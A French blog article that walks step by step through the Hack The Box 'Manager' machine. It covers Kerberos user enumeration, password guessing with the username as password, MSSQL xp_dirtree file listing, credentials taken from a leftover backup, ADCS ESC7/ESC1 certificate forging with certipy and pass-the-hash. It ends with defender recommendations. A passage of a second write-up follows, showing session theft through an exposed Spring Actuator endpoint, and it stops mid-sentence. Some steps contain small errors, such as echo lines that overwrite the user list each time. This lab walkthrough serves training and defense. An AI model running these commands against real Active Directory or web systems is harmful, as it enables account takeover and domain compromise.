PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
   |_http-server-header: Microsoft-IIS/10.0
   | http-methods: 
   |   Supported Methods: OPTIONS TRACE GET HEAD POST
   |_  Potentially risky methods: TRACE
   |_http-title: Manager
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-10-25 18:44:02Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: manager.htb0., Site: Default-First-Site-Name)
1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM
    | ms-sql-info: 
    |   10.10.11.236:1433: 
    |     Version: 
    |       name: Microsoft SQL Server 2019 RTM
    |       number: 15.00.2000.00
    |       Product: Microsoft SQL Server 2019
    |       Service pack level: RTM
    |       Post-SP patches applied: false

5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
    |_http-title: Not Found
    |_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf        .NET Message Framing

Nous voyons ici clairement que nous sommes sur un système d'exploitation Windows sans pare-feu. Nous pouvons également comprendre, grâce aux ports exposés, qu'il s'agit d'un Active Directory. Les Active Directory sont quasiment les seuls systèmes à exposer un service Kerberos (port TCP/88), un service DNS (TCP/53) ainsi que les services RPC et SMB habituels (TCP/135, TCP/139 et TCP/445). Nous voyons également un service de base de données MSSQL sur le port TCP/1433, beaucoup moins commun sur un Active Directory.

Technique d'attaque (MITRE ATT&CK) : T1087.002 - Account Discovery: Domain Account

Un annuaire Active Directory est une cible des plus intéressantes pour un attaquant, c'est LA cible principale puisque sa compromission nous donne accès aux clés du domaine (littéralement). Problème ici, nous n'avons aucun identifiant valide et toutes nos tentatives de trouver une CVE ou un service mal configuré avec un accès anonyme se sont soldées par un échec. Nous allons devoir y aller "à l'aveugle" grâce à une fonctionnalité (et non pas une vulnérabilité) du service Kerberos : l'authentification (AS-REQ).

Lorsqu'un utilisateur souhaite interagir avec le service Kerberos de notre AD, il doit au préalable être authentifié (sauf cas spécifiques avec l'attribut DONT_REQ_PREAUTH, bref). Il se trouve que le service Kerberos permet, nativement, l'énumération des utilisateurs lors de la phase d'authentification (c'est-à-dire avant authentification). Voyons cela de plus près :

Dans la trace réseau ci-dessus, j’envoie un paquet de type "AS_REQ" (Authentication Service Request) au service Kerberos ciblé. Celui-ci me répond avec un message "KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN" (Client not found in Kerberos database). Plutôt explicite, le nom d'utilisateur spécifié n'est pas reconnu par le service Kerberos, il n'existe pas. Voyons ce que cela donne avec un nom d'utilisateur qui existe forcément dans un Active Directory : administrator/administrateur :

La réponse est différente. Nous ne sommes certes pas authentifiés, mais nous avons obtenu une information : le compte administrator existe au sein de l'Active Directory et le service Kerberos nous l'indique indirectement par un changement dans sa réponse.

Nous venons ici de voir ce qu'est une énumération d'utilisateur. Beaucoup plus commune au sein des applications web, l'attaquant est en mesure de savoir, sans être authentifié, si un login utilisateur existe ou n'existe pas. Cela en exploitant un comportement "binaire" du service interrogé qui peut être un message d'erreur, mais aussi un temps de réponse différent.

On ne fait pas grand chose avec cette information, mais l'authentification reposant sur un login et un mot de passe, nous avons ici déjà 50% de l'information à découvrir. Avec du temps et un bon dictionnaire, nous pourrons obtenir une liste de comptes valides, qui deviendront alors des cibles pour nos prochaines attaques.

Cette "faiblesse" est très connue des attaquants et son exploitation est implémentée dans de très nombreux outils visant les Active Directory. Ici, nous allons utiliser l'outil "kerbrute", il se démarque notamment par sa rapidité :

[user@kali-user:/opt/statistically-likely-usernames$ kerbrute userenum -d manager.htb --dc 10.10.11.236 service-accounts.txt -o kerbrute_validUsers_service.txt
2023/10/25 14:20:17 >  [+] VALID USERNAME:       [email protected]
2023/10/25 14:20:17 >  [+] VALID USERNAME:       [email protected]
2023/10/25 14:20:17 >  [+] VALID USERNAME:       [email protected]]()

Je vous dois ici quelques explications. Tout d'abord, le domaine "manager.htb", d’où sort-il ? Nous l'avons en fait obtenu grâce à "nmap" et ses premières opérations d'énumération. Le nom de domaine est divulgué à dessein par l'Active Directory et ses services DNS et LDAP, comment s'authentifier auprès de lui sinon ?

Également, le dictionnaire que j'utilise ici est "service-accounts.txt". Elle provient de l'excellente ressource statistically-likely-usernames. Il s'agit d'une liste de nom (dictionnaires) contenant des noms utilisateur qui, statistiquement, ont de grandes chances de se retrouver dans un Active Directory. Il peut s'agir de nom de services, de noms utilisés pour des tests ou de noms "communs", comme John Smith, Eric Dupont, etc. Encore mieux, les différents dictionnaires proposés sont formatés en fonction des nomenclatures les plus communes. Pour John Smith, on trouvera par exemple le login "john.smith", "j.smith", "jsmith", "john.s". Le seul problème de cette ressource est qu'elle contient majoritairement des noms anglais.

Bref, grâce à "kerbrute", qui a exploité l'énumération utilisateur via l'"AS_REQ" Kerberos et une liste de nom de service statistiquement probable, nous parvenons à identifier le compte "operator".

B. Mot de passe faible et MSSQL

Je renseigne les noms des utilisateurs trouvés dans une liste que je pourrais réutiliser ensuite :

echo "operator" > logins.txt
echo "guest" > logins.txt
echo "administrator" > logins.txt

Il nous faut à présent trouver le mot de passe correspondant à ce compte. Nous allons utiliser "netexec" pour effectuer une authentification via SMB en utilisant les logins identifiés :

Technique d'attaque (MITRE ATT&CK) : T1110.001 - Brute Force: Password Guessing

$ netexec smb 10.10.11.236 -u logins.txt -p logins.txt --no-bruteforce                
SMB         10.10.11.236    445    DC01             [*] Windows 10.0 Build 17763 x64 (name:DC01) (domain:manager.htb) (signing:True) (SMBv1:False)
SMB         10.10.11.236    445    DC01             [+] manager.htb\operator:operator  

Ici, nous allons utiliser notre liste de login à la fois comme entrée du paramètre "-u" (username) et "-p" (password). Avec l'option "--no-bruteforce", l'outil saura que l'on souhaite faire une attaque de type user as pass. Autrement dit, tenter une seule authentification par compte, avec comme mot de passe login utilisateur.

Dans un contexte réaliste, il faut être très vigilant lors de la réalisation d'une authentification avec un compte utilisateur. La réalisation de quelques tentatives d'authentification infructueuses peut bloquer le compte utilisateur pendant plusieurs minutes et perturber un service ou l'activité de l’utilisateur. Avant toute opération, il est nécessaire au minimum de connaitre la politique de mot de passe et de verrouillage en place. La difficulté principale étant que cet élément n'est récupérable qu'en étant authentifié.

Via une attaque de type user as pass, nous sommes sûrs de réaliser qu'une seule tentative d'authentification par compte, les chances de verrouillage sont donc bien moindres.

Notre attaque nous a permis de découvrir que le compte "operator" utilise également "operator" comme mot de passe. Cela est loin d'être rare dans un contexte réalise et c'est d'autant plus le cas pour les comptes non nominatifs comme les comptes de tests ou de service ("formation", "scan", "accueil", "test2023", etc.).

Nous sommes à présent authentifiés sur le domaine ! Il s'agit d'une grande avancée puisque cela nous permet de récupérer un (très) grand nombre d'informations à propos de celui et des différents objets qu'il gère. Nous allons à présent tenter de nous authentifier avec ce compte sur tous les services exposés par le système cible :

Technique d'attaque (MITRE ATT&CK) : T1021 - Remote Services

$ impacket-mssqlclient -windows-auth operator:[email protected]
SQL (MANAGER\Operator  guest@master)>

Succès ! Nous avons donc découvert un compte utilisateur du domaine qui a la permission de s'authentifier sur le service de base de données MSSQL. À partir de cet accès, tentons de découvrir les possibilités qui s'offrent à nous. Exploitation d'une version obsolète, vol de données sensibles, exécution de commande ?

Technique d'attaque (MITRE ATT&CK) : T1505.001 - Server Software Component: SQL Stored Procedures

Après plusieurs tentatives d'énumération, je découvre notamment que beaucoup d'instruction permettant classiquement l'exécution de commande ne sont pas autorisées pour mon utilisateur. Une exception apparait cependant parmi les nombreux cas d'usage de ma todo-list: "EXEC xp_dirtree" :

SQL (MANAGER\Operator  guest@master)> select @@version;

Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) 
        Sep 24 2019 13:48:23 
        Copyright (C) 2019 Microsoft Corporation
        Express Edition (64-bit) on Windows Server 2019 Standard 10.0 <X64> (Build 17763: ) (Hypervisor)

SQL (MANAGER\Operatorest@master)> EXEC xp_dirtree 'C:\inetpub\wwwroot', 1, 1

Cette commande permet de lister le contenu d'un répertoire du système :

Technique d'attaque (MITRE ATT&CK) : T1083 - File and Directory Discovery

about.html
contact.html
css
images
index.html
js
service.html
web.config
website-backup-27-07-23-old.zip

Dans le résultat du listing du contenu du répertoire web, on découvre notamment une archive ZIP oubliée (un cas bien plus classique que l'on pourrait le croire). Cela signifie que cette archive est téléchargeable depuis le service web exposé, il suffisait de trouver son nom, ce qui est chose faite à présent.

Technique d'attaque (MITRE ATT&CK) : T1552.001 - Unsecured Credentials: Credentials In Files

$ wget http://10.10.11.236/website-backup-27-07-23-old.zip
$ unzip website-backup-27-07-23-old.zip
$ cat .old-conf.xml 
[...]
         <user>[email protected]</user>
         <password>R4v3nBe5tD3veloP3r!123</password>

À l'intérieur de l'archive se trouve notamment un fichier XML contenant des identifiants utilisateur. Encore une fois, il va être important ici de tenter ces identifiants sur tous les services exposés. Il peut s'agir d'un compte ayant des droits d'accès à un nouveau partage SMB, ou au service MSSQL avec l'accès à des commandes ou base de données supplémentaires, etc.

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

$ evil-winrm -i 10.10.11.236 -u raven -p 'R4v3nBe5tD3veloP3r!123'
*Evil-WinRM* PS C:\Users\Raven\Desktop> type user.txt
14895a[REDACTED]5846a502

Cet utilisateur nous permet l'accès au service WinRM du système !

L'accès au service WinRM est le résultat de l'assignation de permissions spécifiques à cet utilisateur ou de l'appartenance à un groupe de permissions (généralement Remote Management Users). Lors d'une intrusion, l'attaquant cherchera à cibler des utilisateurs avec ce genre de permissions spéciales, car ils seront certains d'obtenir par la suite un accès interactif à des systèmes.

C. ADCS : Manipulation des certificats

Parmi la très longue liste des éléments à étudier pour un attaquant lorsqu'il parvient à obtenir un accès authentifié à un domaine Active Directory figure les templates de certificats et la configuration du service ADCS. De nombreuses attaques et outils d'exploitation ont été rendus publiques en 2021 par SpectorOps à ce sujet.

Active Directory Certificate Services est un service Windows Server facilitant la création, la distribution et la gestion de certificats numériques. Les certificats générés par ADCS sont utilisés pour sécuriser les communications en chiffrant les données, authentifier les utilisateurs, garantir l'intégrité des données, permettre des connexions sécurisées au sein du domaine, etc.

Il s'agit tout simplement de la PKI (Public Key Infrastructure) de votre domaine, en gardant à l'esprit qu'un certificat permet également l'authentification, il s'agit d'une cible de choix pour un attaquant.

Nous pouvons commencer par nous assurer qu'un service ADCS existe bien sur le domaine cible, cela à distance depuis Linux à l'aide de l'outil "netexec" :

Ici, "netexec" nous confirme bien que le serveur "DC01.manager.htb" est également le service ADCS du domaine. À présent, nous pouvons tenter d'énumérer les templates de certificats existants au sein de ce service. L'ADCS permet l'émission de certificats avec des paramètres pré-définis grâce à des objets AD appelés template, ou modèles de certificat. Ces templates sont des ensembles de politiques d'inscription et de paramètres de certificat qui contiennent des informations telles que l'usage pouvant être fait du certificat, son temps de validité, qui peut demander la génération d'un certificat, pour quel type d'objet, etc.

Vous pouvez voir la gestion, création et détention d'un certificat comme le cas des badges d'accès dans un bâtiment sécurisé. Les agents d'accueil peuvent créer des badges pour des visiteurs ? Mais peut-être pas pour tous les étages ? Existe-t-il une borne de self-enrollement pour tous les visiteurs ? À quels étages peuvent-ils eux-mêmes se donner accès ? Est-ce qu'un agent d'accueil peut se créer un badge au nom du PDG ? Qui génère le badge des agents d'accueil ? Toutes ces questions peuvent être mises en parallèle avec les attaques sur ADCS.

L'outil "Certipy" peut notamment être utilisé pour découvrir ces configurations de templates, exemple :

pip3 install certipy-ad
certipy-ad find -u '[email protected]' -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -stdout

Voici un extrait du résultat de la commande "certipy-ad" :

L'outil nous a permis de lister la configuration de 33 templates, dont 11 activés. Nous voyons ensuite un bout de la configuration de l'autorité de certification. Entre autres, nous pouvons nous intéresser à la configuration du template 0, histoire de voir ce que cette configuration peut nous apprendre :

Ce template se nomme "KerberosAuthentication", nous voyons notamment que les certificats générés à l'aide de ce template peuvent être utilisés pour l'authentification client ("Client Authentication : True"), mais aussi pour l'authentification côté serveur ("Extended Key usage: Server Authentication") par exemple. La section "Permissions" nous intéresse particulièrement puisqu'elle permet de savoir qui peut utiliser ce template pour enroller (générer) un certificat. Ici, que des membres des groupes "administrateurs".

Si l'on revient au résultat initial, on peut constater que "certipy-ad" nous a indiqué avoir trouvé une configuration dangereuse lors de l'affichage de la configuration de l'autorité de certification :

Au travers l'analyse automatique de la configuration, il semble que l'attaque ESC7 soit exploitable sur ce service ADCS.

Le terme "ESC" fait ici référence à "Escalation". Il s'agit d'une nomenclature choisie par les SpecterOps pour identifier les différentes faiblesses de configuration, et donc attaques, liées à l'AD-CS. Il en existe aujourd'hui 14 (de ESC1 à ESC14 donc). Pour aller en détail sur chacune des exploitations, je vous oriente vers Hacktrickz

ESC7 est donc le cas d'une configuration trop permissive donnée à un utilisateur ou un groupe d'utilisateurs sur l'autorité de certification elle-même.

Comme tout objet AD, l'autorité de certification possède des ACL (Access-Controle List) afin de gérer les actions réalisables par d'autres objets (utilisateurs, groupes, ordinateurs, etc.). Les deux droits principaux ici sont le droit "ManageCA" (« Administrateur CA » ) et le droit "ManageCertificates" ( « Gestionnaire de certificats ».). Si un attaquant prend le contrôle d'un utilisateur qui possède ces droits (ici : "raven"), il pourra alors approuver les demandes de certificat en attente.

Technique d'attaque (MITRE ATT&CK) : T1649 - Steal or Forge Authentication Certificates

L'exploitation de cette vulnérabilité repose sur le fait que les utilisateurs disposant de ces droits peuvent émettre des demandes de certificat, qui, même s'ils échoueront dans un premier temps, pourrons ensuite être approuvés grâce au droit "ManageCertificates".

Le modèle de certificat "SubCA" est par défaut vulnérable à ESC1, mais seuls les administrateurs peuvent utiliser ce template dans le modèle. Ainsi, un utilisateur peut toujours demander à s'inscrire à la "SubCA", ce qui sera refusé. Nous obtiendrons alors notre demande "en attente", qui nous approuverons ensuite avec l'utilisateur compromis ("raven"), qui possède les droits "ManageCertificates".

L'attaque ESC1 est l'un des cas de figure les plus simples. Il concerne les templates qui autorisent la prise en compte de l'attribut SAN (Subject Alternative Name). Celui-ci permet tout simplement à l'utilisateur à définir, en plus de son nom, d'autres noms pour lesquels le certificat sera valide (à tout hasard, administrateur). L'utilisateur demande alors un certificat qui sera valide pour l'utilisateur demandeur (Mickael) mais il inclut dans sa demande un champ supplémentaire disant : le certificat que tu vas me signer sera aussi valide pour "administrateur".

La simplicité de l'attaque est parfois difficile à cerner ("c'est aussi bateau que ça ?") : la réponse est oui.

Voici les pré-requis de l'attaque :

Nous disposons déjà de la permission "ManageCA" grâce à l'utilisateur "raven". Nous pouvons alors nous ajouter les droits "Manage Certificates" (nous sommes maitres de l'autorité de certification, logique que nous puissions nous ajouter les droits de gérer les certificats) :

$ certipy-ad ca -ca 'manager-DC01-CA' -add-officer raven -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully added officer 'Raven' on 'manager-DC01-CA'

Le pré-requis n°2 est également atteint, retournons dans notre énumération des templates pour voir si le pré-requis 3 l'est aussi (template "SubCA" activé) :

Tous nos prérequis sont là. Nous pouvons commencer par demander un certificat basé sur le template "SubCA". Cette demande sera refusée, nous ne sommes pas membres des groupes autorisés à s'enroller (regardez le contenu de l'attribut "Enrollment Permissions"). Mais, nous obtiendrons tout de même une clé privée (générée par nous-même, pour notre demande) et notre ID de demande (notez l'option "-upn" dans laquelle nous indiquons le SAN à ajouter au certificat) :

certipy-ad req -ns 10.10.11.236 -ca 'manager-DC01-CA'  -template SubCA -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -upn [email protected]

Ici, nous venons de demander à l'autorité de certification la création d'un certificat pour l'utilisateur "[email protected]" (grâce à l'attribut SAN) en utilisant le template "SubCA". Vous noterez que bien que ce template soit activé, notre utilisateur ("raven") n'est pas membre des groupes autorisés à utiliser ce template. La demande est donc refusée. Avec nos permissions "ManageCA" et "ManageCertificates", nous pouvons ensuite approuver la demande de certificat ayant échoué avec la commande suivante :

$ certipy-ad ca -ca 'manager-DC01-CA' -issue-request 14  -u '[email protected]' -p 'R4v3nBe5tD3veloP3r!123'  -dc-ip 10.10.11.236                                                                                                          
Certipy v4.7.0 - by Oliver Lyak (ly4k)

[*] Successfully issued certificate

Et enfin, nous pouvons récupérer le certificat émis avec la commande "req" et le paramètre "-retrieve" :

certipy-ad req -ca 'manager-DC01-CA' -target dc01.manager.htb  -template SubCA -u [email protected] -p 'R4v3nBe5tD3veloP3r!123' -dc-ip 10.10.11.236 -retrieve 14

Nous pouvons à présent récupérer le hash NTLM de l'administrateur du domaine en utilisant ce certificat. Il faut pour cela demander un TGT via PKINIT (extension Kerberos prenant en compte les certificats), une fonctionnalité de "backup" y a été ajoutée pour permettre l'authentification sur les services/OS ne prenant pas en compte Kerberos.

Technique d'attaque (MITRE ATT&CK) : T1021.006 - Remote Services: Windows Remote Management

Avec le hash du compte "administrator", nous pouvons effectuer une authentification via la technique pass-the-hash :

$ evil-winrm -i $IP -u administrator -H ae5064c2f62317332c88629e025924ef
*Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
42fabc6[REDACTED]0ff4d

Nous sommes désormais administrateur du contrôleur de domaine, nous avons les clés du royaume !

III. Résumé de l'attaque

Voici une description de l'attaque réalisée en utilisant les TTP (Tactics, Techniques and Procedures) du framework MITRE ATT&CK :

TTP (MITRE ATT&CK)Détails
T1046 - Network Service DiscoverRéalisation d'un scan réseau via "nmap" et découverte de multiple services
T1087.002 - Account Discovery: Domain AccountEnumération d'utilisateur via "kerbrute" et la wordlist "statistically-likely-usernames"
T1110.001 - Brute Force: Password GuessingAttaque "user as pass" sur les comptes du domaine découverts via "netexec", découverte d'identifiants valides
T1021 - Remote ServicesAuthentification sur le service MSSQL avec le compte "operator" compromis
T1505.001 - Server Software Component: SQL Stored ProceduresExécution de commande partielle MSSQL
T1083 - File and Directory DiscoveryDécouverte des fichiers locaux du serveur Windows via MSSQL et exfiltration d'une archive ZIP depuis la racine du service web
T1552.001 - Unsecured Credentials: Credentials In FilesDécouverte d'identifiants de l'utilisateur du domaine "raven" dans l'archive ZIP exfiltrée
T1021.006 - Remote Services: Windows Remote ManagementAuthentification via winRM et LDAP, puis découverte du service AD-CS via "Certipy"
T1649 - Steal or Forge Authentication CertificatesUtilisation de Ccertipy" pour forger un certificat valide pour le compte administrateur du domaine via ESC7, puis ESC1
T1021.006 - Remote Services: Windows Remote ManagementAuthentification avec le compte administrateur du domaine

IV. Notions abordées

A. Côté attaquant

Les premières étapes de compromission de ce serveur sont (hélas) très réalistes. Il est étonnant de voir que la plupart des vulnérabilités sur un domaine proviennent de négligences humaines. Ce genre d'attaque et d'énumération sont à ne jamais oublier sur un domaine. Il faut également savoir adapter ses dictionnaires (et plus largement ses outils) en fonction du contexte métier ou de la langue de la cible.

Nous avons vu lors de l'exploitation du service MSSQL que connaitre ou savoir se documenter rapidement sur les commandes et fonctionnalités natives qui permettent une exploitation est un atout. Ici la commande utilisée ("xp_dirtree") est totalement native à MSSQL, le fait le compte compromis puisse l'utiliser est une faiblesse probablement due à des droits trop permissifs, mais c'est ce qui nous a permis de compromettre le serveur. Sur chaque service de base de données, voir chaque version, il existe des commandes comme celles-ci qui permettent d'écrire ou lire des données sur le serveur, voire exécuter des commandes. Difficile de tout retenir, il faut plutôt opter pour une documentation personnelle ou une banque de liens externes pour être sûr de rester à jour et d'avoir tout sous la main lorsque l'on en aura besoin.

L'attaque sur ADCS est bien entendu ce qui vaut à cette box la notation "Medium" à mon sens. Il faut ici avoir de bonnes notions de l'aspect métier et fonctionnels d'une PKI pour ensuite comprendre l'attaque à réaliser. Cela nous permet de rappeler qu'avant d'apprendre à attaquer, il faut connaitre les bases de l'administration système, de la cryptographie et du développement. Également, il serait difficile de trouver ce genre de vulnérabilité sur un service aussi spécifique qu'ADCS seul sans y passer des dizaines d'heures. Les attaques sur ADCS ont été rendues publiques en 2021 et il fallait bien entendu assurer sa veille technologique afin d'inclure ses faiblesses dans notre méthodologie d'audit d'environnement AD. Pour la pratique, je vous conseille bien sûr cette box Hack the box, mais aussi le lab Try Hack Me suivant : AD Certificate Templates

B. Côté défenseur

Pour sécuriser ce système, nous pouvons proposer plusieurs recommandations :

Recommandation n°1 : il est recommandé de mettre en place une politique de mot de passe robuste interdisant notamment les mots de passe faibles avec un seul alphabet ou le "user as pass". L'application de cette recommandation doit notamment se baser sur le document Recommandations relatives à l'authentification multifacteur et aux mots de passe de l'ANSSI. Côté détection, il est recommandé de surveiller les journaux d'authentification pour détecter les échecs de connexion au niveau du domaine. Si les échecs d'authentification sont nombreux sur une courte période de temps, il peut y avoir une tentative de force brute en cours. Le centralisation des logs et l'utilisation d'un SIEM peuvent ici grandement aider.

Recommandation n°2 : nous pouvons également recommander de supprimer l'archive ZIP située à la racine du service web. Les archives contiennent souvent des données sensibles (configurations, mots de passe) et leur place n'est pas sur un service web accessible sans authentification. Il est recommandé de les stocker dans un emplacement sécurisé, accessible uniquement par des utilisateurs authentifiés. Pour aller plus loin, nous pouvons également recommander de stocker les archives de configuration et de code source de façon chiffrée et, en complément, de durcir la configuration du service web pour interdire l'accès aux fichiers de backup (.zip, .tar, etc.) directement dans la configuration Apache.

Recommandation n°3 : il peut être recommandé d'améliorer la sécurité du service ADCS. De multiples bonnes pratiques existent à ce sujet, mais doit en premier lieu être effectuée une revue des ACL sur les templates de certificats et sur l'autorité de certification afin de s'assurer que seuls des groupes légitimes sont autorisés à y effectuer des actions sensibles. De manière générale, il est d'ailleurs toujours recommandé de passer par des groupes pour l'attribution des droits que l'attribution directe à un utilisateur.

Recommandation n°4 : il est recommandé d'appliquer une séparation stricte des usages sur les services du système d'information. Les services de base de données et de gestion des certificats répondent à des fonctions métiers et de sécurité différents et doivent être positionnés sur des serveurs distincts. Cela afin de rendre plus difficile pour un attaquant la propagation de sa compromission d'un service à l'autre. Pour aller plus loin, il est recommandé de consulter le document La défense en profondeur appliquée aux systèmes d’information de l'ANSSI. (Soyons francs, cette recommandation est plutôt pour le principe, les services sont ici mutualisés sur un même serveur, car Hack The Box ne propose qu'une machine à la fois :D. Mais consultez quand même ce document, très intéressant ! 🙂 ).

J’espère que cet article vous a plu ! N'hésitez pas à donner votre avis dans les commentaires ou sur notre Discord!

Enfin, si vous voulez accéder à des cours et modules dédiés aux techniques offensives ou défensives et améliorer vos compétences en cybersécurité, je vous oriente vers Hack The Box Academy, utilisez ce lien d'inscription (je gagnerai quelques points 🙂 ) : Tester Hack the Box Academy

The post Hack The Box – Résoudre la box Manager : outils, méthodes et recommandations pour se protéger first appeared on IT-Connect.

Hack The Box – Résoudre la box CozyHosting : outils, méthodes et recommandations pour se protéger

20 février 2024 à 10:00

I. Présentation

Dans cet article, je vous propose la résolution de la machine Hack The Box CozyHosting, de difficulté "Facile".

Hack The Box est une plateforme en ligne qui met à disposition des systèmes vulnérables appelées "box". Chaque système est différent et doit être attaqué en adoptant la démarche d'un cyberattaquant. L'objectif est d'y découvrir les vulnérabilités qui nous permettront de compromettre les utilisateurs du système, puis le compte root ou administrateur.

Ces exercices permettent de s’entraîner légalement sur des environnements technologiques divers (Linux, Windows, Active directory, web, etc.), peuvent être utiles pour tous ceux qui travaillent dans la cybersécurité (attaquants comme défenseurs) et sont très formateurs 🙂

Je vais ici vous détailler la marche à suivre pour arriver au bout de cette box en vous donnant autant de conseils et ressources que possible. N'hésitez pas à consulter les nombreux liens qui sont présents dans l'article.

Cette solution est publiée en accord avec les règles d'HackThebox et ne sera diffusée que lorsque la box en question sera indiquée comme "Retired".

Technologies/attaques abordéesLinux, Web, Springboot, PostgreSQL, RCE (Remote Command Execution), Vol de session, sudo escape
Outils utilisésnmap, ssh, curl, nuclei, psql, johntheripper, sudo

Retrouvez tous nos articles Hack The Box via ce lien :

II. Résolution de la box CozyHosting

A. Découverte et énumération

Pour l'instant, nous ne disposons que de l'adresse IP de notre cible. Commençons par un scan réseau à l'aide de l'outil nmap pour découvrir les services exposés sur le réseau, et pourquoi pas leurs versions.

Technique d'attaque (MITRE ATT&CK) : T1046 - Network Service Discovery

$ nmap --max-retries 1 -T4 -sS -A -v --open -p- -oA nmap-TCPFullVersion 10.10.11.230  
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)

Un service SSH et un service web sont accessibles, assez classique pour le moment.

B. Configuration Springboot

Technique d'attaque (MITRE ATT&CK) : T1595 - Active Scanning: Vulnerability Scanning

Le site web exposé par le service web est un simple site vitrine :

Je commence par lancer l'outil nuclei qui va automatiser certaines tâches de découverte relatives à des CVE, framework ou mauvaises configuration spécifiques :

Le scanner web nuclei est toujours intéressant à utiliser, quelque soit votre niveau en test d'intrusion. Il est certes loin de proposer un audit complet d'une application web, mais permet de scanner vos sites web pour un diagnostic rapide et dégrossir rapidement un test d'intrusion en boite noire. Son fonctionnement par module communautaire et très complet pour un outil open source et il renvoie rarement de faux positifs.

Assez rapidement, celui-ci découvre plusieurs points d'entrées relatifs à Springboot. Il s'agit d'un projet du framework Spring qui fournit un ensemble d'outils et de conventions pour faciliter la création de services web, d'applications back-end et de microservices. Il vise à rendre le développement d'applications basées sur Spring plus rapide et facile.

Springboot Actuator est un ensemble de fonctionnalités permettant de surveiller les applications, de collecter des métriques et comprendre le trafic ou l'état de la base de données. Il s'agit plus précisément d'une dépendance utilisée par les développeurs qui utilisent ce framework de développement. Tout cela semble fort intéressant pour un développeur, mais est-ce qu'un visiteur externe a besoin d'y accéder ? La réponse est probablement non.

Technique d'attaque (MITRE ATT&CK) : T1190 - Exploit Public-Facing Application

En étudiant les possibilités et point d'entrés d'Actuator, on remarque vite qu'il peut fournir à celui qui y accède un grand nombre d'informations sur l'application qu'il gère ou le serveur qui l'héberge. Le point d'entrée "/actuator/mappings" liste tous les points d'entrés disponibles :

On remarque notamment le point d'entrée "/actuator/session", toujours intéressant pour un visiteur anonyme :

$ curl http://cozyhosting.htb/actuator/sessions
{"7DA0F441BD57DB10A6D3E7F9DC07A2B0":"kanderson","C74E35728DE7EB32CB9F8F742A68CC7A":"kanderson","C6713C8621A4A5576FD206A0E0E00B28":"kanderson","1040C845B8DF19E4DFC2415898377302":"UNAUTHORIZED"}

Sans aucune authentification et en quelques requêtes, nous parvenons à récupérer un jeton de session valide sur la plateforme ciblée.

Lors d'une authentification réussie, l'application web fournit, en échange de la preuve (mot de passe) de l’identité déclarée (login), un jeton de session. Cela évite ainsi à l'utilisateur de s'authentifier sur chaque changement de page. Ce jeton de session sera unique par utilisateur et pour chaque connexion, avec une durée de vie limitée. Ainsi, le fait de fournir cette donnée unique à chaque requête plutôt que nos identifiants, permet au serveur de suivre notre session et de nous maintenir authentifié lors de la navigation.

Sur l'application web, on remarque notamment que si l'on tente une authentification sur la page "/login", un "JSESSIONID" nous est attribué :

Le menu que vous voyez apparaitre en bas de la capture d'écran ci-dessus est la barre développeur de Firefox. Il s'agit d'un outil présent sur tous les navigateurs récents. Elle propose un ensemble d'outils intégrés permettant aux développeurs web d'inspecter et de déboguer les pages et les échanges, ainsi que d'analyser les performances du site en temps réel. Elle offre des fonctionnalités telles que l'inspection d'éléments HTML, la modification en direct du CSS, le débogage JavaScript, le suivi du réseau et la mesure des performances.

Cela nous permet d'obtenir le nom du cookie à utiliser, il faut ensuite remplacer son contenu par l'un des jetons de l’utilisateur "kanderson" récupéré plus haut.

Après modification de notre cookie, nous devons rafraichir la page pour que le serveur web comprenne que nous sommes authentifiés. Nous voilà ainsi sur le point d'entrée "/admin" en tant que l'utilisateur "K. Anderson". Nous venons d'effectuer un vol de session ! Sans connaissance du mot de passe de l'utilisateur, nous récupérons l'élément qui permet à l'application web de suivre sa session.

C. RCE (Remote Commande Execution)

Nous pouvons à présent parcourir l'espace authentifié de l'application web. Cette fonctionnalité parait notamment intéressante :

Visiblement, nous pouvons spécifier un nom d'hôte et un nom d'utilisateur pour que l'application web s'y connecte. Autre fait intéressant, si l'on saisie des données qui ne sont pas conformes à ce que pourrait attendre ce genre de fonctionnalité, le contenu de l'aide de la commande SSH est retourné par l'application web :

Cela indique explicitement qu'une commande système est exécutée à l'aide des informations que nous saisissons.

Lorsque de la réalisation d'une attaque sur une application web, la saisie de données non conformes ou mal formatées est l'une des opérations de base à réaliser. Cela permet de voir si l'application web ciblée a été correctement développée afin de gérer les entrées utilisateurs, et notamment de s'assurer que celles-ci sont conformes à ce qui est attendu d'un point de vue logique (présence de caractères spéciaux dans un nom de domaine ?) ou métier (l'adresse mail saisie existe-t-elle vraiment ? Prix négatif ?).

L'objectif de l'attaquant est alors de tenter de faire apparaitre des erreurs, parfois verbeuses, pouvant faire fuiter des informations (framework/technologie utilisée, contexte d'exécution) ou trahir un manque de filtrage ou de contrôle des entrées utilisateur.

Ainsi, nous savons à présent que nos entrées sont insérées dans une commande système (Bash), et non plus simplement dans une variable d'un langage de développement web (PHP, Java, autre) ou une base de données. C'est une information très intéressante pour un attaquant, car s'il parvient à manipuler correctement cette commande, il pourra exécuter ses propres commandes sur le système.

Supposons que nos entrées "host" et "username" soient insérées dans une commande SSH comme celle-ci :

